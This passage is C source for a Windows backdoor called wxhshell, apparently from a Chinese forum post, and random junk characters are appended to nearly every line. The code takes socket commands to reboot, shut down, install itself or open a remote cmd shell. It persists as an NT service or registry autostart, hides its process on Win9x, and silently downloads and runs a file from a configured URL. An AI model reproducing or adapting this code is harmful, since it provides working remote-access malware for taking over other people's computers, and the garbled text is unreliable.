  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >d#6qXKAU  
  } 'l3K*lck  
  else { 2T#>66^@q  
 |{@_J  
    switch(cmd[0]) {  <E&"]  
  H) &pay  
  // 帮助 2wG4"  
  case '?': { 2VNfnk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K=C).5=U  
    break; )Y+?)=~  
  } )IP{yL8c  
  // 安装 cxQ8/0^  
  case 'i': { /!Kl  
    if(Install()) 5&*B2ZBzH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ev;ocb,  
    else A/"p PO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IW'2+EGc  
    break; +~A<&7[}  
    } f~D> *<L4-  
  // 卸载 Qvd$fY**  
  case 'r': { +vtI1LC;_  
    if(Uninstall()) MO$ dim>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /RmHG H!  
    else 1$Pn;jg:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kDG'5X;+  
    break; Rl"" aZ  
    } e r;3TG~  
  // 显示 wxhshell 所在路径 7E9h!<5v  
  case 'p': { zz4A,XrD  
    char svExeFile[MAX_PATH]; =Gq 'sy:h  
    strcpy(svExeFile,"\n\r"); R]Q4+  
      strcat(svExeFile,ExeFile); 9GZKT{*  
        send(wsh,svExeFile,strlen(svExeFile),0); Y(]&j`%  
    break; cKX6pG  
    } ?DC3BA\)  
  // 重启 ;U|^Tsuc`  
  case 'b': {  -'|pt,)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _;B N;].  
    if(Boot(REBOOT)) 0F<O \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [lC*|4t&  
    else { Dn?P~%  
    closesocket(wsh); {Z_Pry$6  
    ExitThread(0); xe: D7  
    } I^{PnrB  
    break; *s6MF{Ds  
    } N+?kFob  
  // 关机 mdOF0b%-]  
  case 'd': { &0 VM <  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K`@GN T&  
    if(Boot(SHUTDOWN)) 1!/ U#d"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E$FXs~a  
    else { gtHk1 9  
    closesocket(wsh); 5|-(Ic  
    ExitThread(0); NDRk%_Eu(  
    } {cv,Tz[Q>  
    break; 'B"kUh%3$5  
    } (o\:rLZu  
  // 获取shell VYhZ0;' '  
  case 's': { w>X33Ff]8@  
    CmdShell(wsh); F,e_`  
    closesocket(wsh); XQk9 U  
    ExitThread(0); mV;Egm{A\  
    break; "$#x+|PyC  
  } / vge@bsE  
  // 退出 ]P ->xJ  
  case 'x': { 6yF4%Sz9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "0g1'az}  
    CloseIt(wsh); Gr#p QE2;  
    break; oa`,|dA"  
    } lE[LdmwDrb  
  // 离开 y6; '?.Y1  
  case 'q': { tGD$cBE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8\y%J!b  
    closesocket(wsh); $;+B)#  
    WSACleanup(); &^4W+I{H  
    exit(1); L"tj DAV  
    break; Vk$zA<sw"  
        } &tQ,2RT  
  } G_[|N>  
  } uwWfL32  
FWdSpaas Q  
  // 提示信息 T |'Ur #  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H U$:x"AW  
} S53 [Ja  
  } q`}Q[Li  
4I^6[{_  
  return; VPn #O  
} _:M6~XHo  
f8N  
// shell模块句柄 c1CP1 2  
int CmdShell(SOCKET sock) Roy`HU ;0a  
{ ui70|  
STARTUPINFO si; ~?-U J^#  
ZeroMemory(&si,sizeof(si)); !U,qr0h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rgIJ]vmy<H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JeUFCWm  
PROCESS_INFORMATION ProcessInfo; R.|fc5_"+  
char cmdline[]="cmd"; m2{z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @'R4zJ&+S  
  return 0; p4Vw`i+DnH  
} ;b cy(Fp,\  
U`<EpO{j|  
// 自身启动模式 ;csAhkf:S  
int StartFromService(void) Q-O:L  
{ 9qQ_#$Vv  
typedef struct &!/L^Y*+  
{ j^iH[pN] \  
  DWORD ExitStatus; in#qV  
  DWORD PebBaseAddress; Wz:MPdz3(  
  DWORD AffinityMask; ~LO MwMHl  
  DWORD BasePriority; wm*`  
  ULONG UniqueProcessId; )/bt/,M&}  
  ULONG InheritedFromUniqueProcessId; gA2\c5F<  
}   PROCESS_BASIC_INFORMATION; \~jt7 Q  
Ao`9fI#q  
PROCNTQSIP NtQueryInformationProcess; t}nZrD  
m++VW0Y>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i]hFiX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4^70r9hV9  
X"iy.@7  
  HANDLE             hProcess; uA:;OM}  
  PROCESS_BASIC_INFORMATION pbi; NO`a2HR$  
^"6xE nA]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NqhRJa63  
  if(NULL == hInst ) return 0; 6=A ++H @  
OYG8%L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C"IPCJYn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vj?9X5A_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O+.V,` O  
)u\"xxcV  
  if (!NtQueryInformationProcess) return 0; Ik;~u8j1e  
C&<f YCwG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I9SO}a2p  
  if(!hProcess) return 0;  A3'i -  
n8zUL1:R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ",&}vfD4M  
^>g+:?x  
  CloseHandle(hProcess); SGNi~o  
Q(V c/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); quGb;)3  
if(hProcess==NULL) return 0; fB  
NYR^y \u  
HMODULE hMod; Sm+Ek@Ax  
char procName[255]; l4;/[Q>Z  
unsigned long cbNeeded; 7OC ,KgJ3  
hbE;zY%hP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *RxbqB-  
wAkoX  
  CloseHandle(hProcess); m&2< ?a}l  
N1#*~/sXh  
if(strstr(procName,"services")) return 1; // 以服务启动 !WVF{L,/I  
.O1g'%  
  return 0; // 注册表启动 ix7N q7!N  
} & r\z9!   
%0:  (''  
// 主模块 ^>9M2O['!s  
int StartWxhshell(LPSTR lpCmdLine) iCl,7$[*  
{ .]v8W51Y  
  SOCKET wsl; *QjFrw3  
BOOL val=TRUE; P}?,*'b  
  int port=0; A`X$jpAn&  
  struct sockaddr_in door; k*z)AR  
9-bDgzk   
  if(wscfg.ws_autoins) Install(); /:U\U_j  
*(o~pxFTR  
port=atoi(lpCmdLine); evimnV  
s=U_tfpH  
if(port<=0) port=wscfg.ws_port; J tYnBg?[E  
lg1?g)lv  
  WSADATA data; q'K=Ly+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 93o}vy->  
g%9I+(?t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #1V vK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mjB%"w!S  
  door.sin_family = AF_INET; #G9S[J=xe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XL} oYL]}&  
  door.sin_port = htons(port); q\mVZyj  
6I_W4`<VeZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tM{t'WU  
closesocket(wsl); /0"Y. @L  
return 1; Qy@chN{eP  
} #XC\= pZX  
zy+|)^E  
  if(listen(wsl,2) == INVALID_SOCKET) { _E&*JX  
closesocket(wsl); F S1<f:  
return 1; /Pi{Mv eZM  
} f4`=yj*  
  Wxhshell(wsl); $]xe,}*Af  
  WSACleanup(); PN0:,.4  
k\x>kJ}0  
return 0; $Wb"X=}tl  
2hmV 1gj  
} 3VA Lrb;  
Ay2Vz>{  
// 以NT服务方式启动 s?E7tmaM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ).-B@&Eu%  
{ H.wp{m{  
DWORD   status = 0; k gWF@"_  
  DWORD   specificError = 0xfffffff; )Q 6R6xW  
x:@HtTX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EiIbp4*e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J%3S3C2*m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K^s!0[6  
  serviceStatus.dwWin32ExitCode     = 0; N<Ti]G  
  serviceStatus.dwServiceSpecificExitCode = 0; MCL5a@BX)  
  serviceStatus.dwCheckPoint       = 0; TQ>kmHWf/  
  serviceStatus.dwWaitHint       = 0; CKNH/[ ZR,  
xr)kHJ:v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ o3}K  
  if (hServiceStatusHandle==0) return; FeLWQn/aV6  
?&"cI5-  
status = GetLastError(); ?<xGO@b .  
  if (status!=NO_ERROR) Fgt/A#`fz  
{ " 0K5 /9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i nF&Pv  
    serviceStatus.dwCheckPoint       = 0; jJ|u!a  
    serviceStatus.dwWaitHint       = 0; r?[PIf  
    serviceStatus.dwWin32ExitCode     = status; &Q(Q/]U~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~\:+y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y -o*d@  
    return; u{tjB/K&  
  } ,? <jue/bd  
Y@_ i32,r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UH.M)br  
  serviceStatus.dwCheckPoint       = 0; lNls8@  
  serviceStatus.dwWaitHint       = 0; }4 P@`>e/`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m"X0Owx  
} < yE(p  
L7%Dc2{^(  
// 处理NT服务事件,比如:启动、停止 g9'50<|J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DJ[U^dWRn  
{ R%8nR6iG"  
switch(fdwControl) -O^b  
{ QYyF6ht=!  
case SERVICE_CONTROL_STOP: Yf7n0Etd,  
  serviceStatus.dwWin32ExitCode = 0; Euk#C;uBg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O&E1(M|*>  
  serviceStatus.dwCheckPoint   = 0; )=[K$>0k  
  serviceStatus.dwWaitHint     = 0; % 7/XZQ  
  { 91jv=>=DM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8/ZJkI  
  } z,I7 PY& G  
  return; ?R;5ErZ  
case SERVICE_CONTROL_PAUSE: = 14'R4:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c{V0]A9VF  
  break; #xm<|s   
case SERVICE_CONTROL_CONTINUE: /vD5C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; el;^cMY  
  break; m:/nw,  
case SERVICE_CONTROL_INTERROGATE: UI_|VU>J  
  break; $6Nm`[V  
}; LV4 x9?&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [/6$P[  
} lWd)(9K j  
f&7SivS#  
// 标准应用程序主函数 lk2F]@_kJH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `IFt;Ja\6  
{ 0A9x9l9Wd  
%*oz~,i  
// 获取操作系统版本 nw Or  
OsIsNt=GetOsVer(); [o*u!2 r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b+[9) B)a?  
HJ !)D~M{  
  // 从命令行安装  C!Y|k.`p  
  if(strpbrk(lpCmdLine,"iI")) Install(); E`=y9r* Z  
#- z*c  
  // 下载执行文件 !})/x~~e  
if(wscfg.ws_downexe) { P@PZm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  aVz<RS  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;=5V)1~i1;  
} V/"XC3/n*  
GWM2l?zOP  
if(!OsIsNt) { / h0-qW  
// 如果时win9x,隐藏进程并且设置为注册表启动 {iYu x;(  
HideProc(); c^6v7wT5  
StartWxhshell(lpCmdLine); A0V"5syY  
} })M$#%(  
else >#$( M5&}-  
  if(StartFromService()) y$r9Y!?s  
  // 以服务方式启动 /A9Mv%zjk  
  StartServiceCtrlDispatcher(DispatchTable); m{JiF-=u  
else )XnG.T{0|  
  // 普通方式启动 +&4PGv53J  
  StartWxhshell(lpCmdLine); k]qZOO}  
Av.(i2  
return 0; T 2x~fiM  
}
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只看该作者 1 发表于: 2006-10-10
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